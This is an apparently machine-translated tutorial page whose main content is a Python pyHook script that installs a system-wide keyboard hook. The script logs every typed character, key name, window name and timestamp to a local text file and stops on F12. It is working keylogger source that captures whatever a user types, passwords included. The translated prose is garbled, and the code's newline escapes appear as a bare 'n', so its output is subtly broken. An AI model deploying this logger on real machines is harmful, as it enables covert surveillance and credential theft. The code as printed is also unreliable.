Examples of keyboard monitoring using pyhook in python

  • 2020-04-02 13:53:35
  • OfStack

Pyhook download: (link: http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/)

PyhookAPI manual: (link: http://pyhook.sourceforge.net/doc_1.5.0/)

The above website provides several examples to use, in addition to the installation of pyhooks, there will be an example of the file. To learn about and run for the first time, suggest no pythoncom module, install pywin32, after installation, you can run normally, but will lead to machine card, especially after interruption program is running, the mouse will be the freedom of a period of time, to find the reason of the along while, feel is mainly event frequency is too high, the program will often stuck in pythoncom. PumpMessages ().

After searching the Internet for a long time, I saw a post saying pythoncom.pumpmessages (n), which means delay time, so I tried to change it, found it had some effect, but it was not obvious, then I thought it was because there was no terminating program, so I added the terminating program statement win32apy.postquitmessage (). The result is satisfactory.


# -*- coding: cp936 -*-
import pythoncom 
import pyHook 
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):  
  global t,asciistr,keystr
  filename='d://test.txt'
  wrfile=open(filename,'ab')
  " Handling keyboard events "
  if t==str(event.WindowName):
    asciistr=asciistr+chr(event.Ascii)
    keystr=keystr+str(event.Key)
    
  else:
    t=str(event.WindowName)
    if asciistr=='' and keystr=='':
      wrfile.writelines("nWindow:%sn" % str(event.Window))
      wrfile.writelines("WindowName:%sn" % str(event.WindowName)) # Writes the current form name 
      wrfile.writelines("MessageName:%sn" % str(event.MessageName))
      wrfile.writelines("Message:%dn" % event.Message)
      wrfile.writelines("Time:%sn" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    else:
      wrfile.writelines("Ascii_char:%sn" %asciistr)
      wrfile.writelines("Key_char:%sn" %keystr)
      wrfile.writelines("nWindow:%sn" % str(event.Window))
      wrfile.writelines("WindowName:%sn" % str(event.WindowName)) # Writes the current form name 
      wrfile.writelines("Time:%sn" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    
    asciistr=chr(event.Ascii)
    keystr=str(event.Key)
  if str(event.Key)=='F12': # Press the F12 After the termination of 
    wrfile.writelines("Ascii_char:%sn" %asciistr)
    wrfile.writelines("Key_char:%sn" %keystr)
    wrfile.close()  
    win32api.PostQuitMessage()
    
  return True
  
  

if __name__ == "__main__":

  # create hook handle  
  hm = pyHook.HookManager() 

  # Monitoring the keyboard  
  hm.KeyDown = onKeyboardEvent 
  hm.HookKeyboard() 

  # Loop fetch message  
  pythoncom.PumpMessages(10000)


Related articles: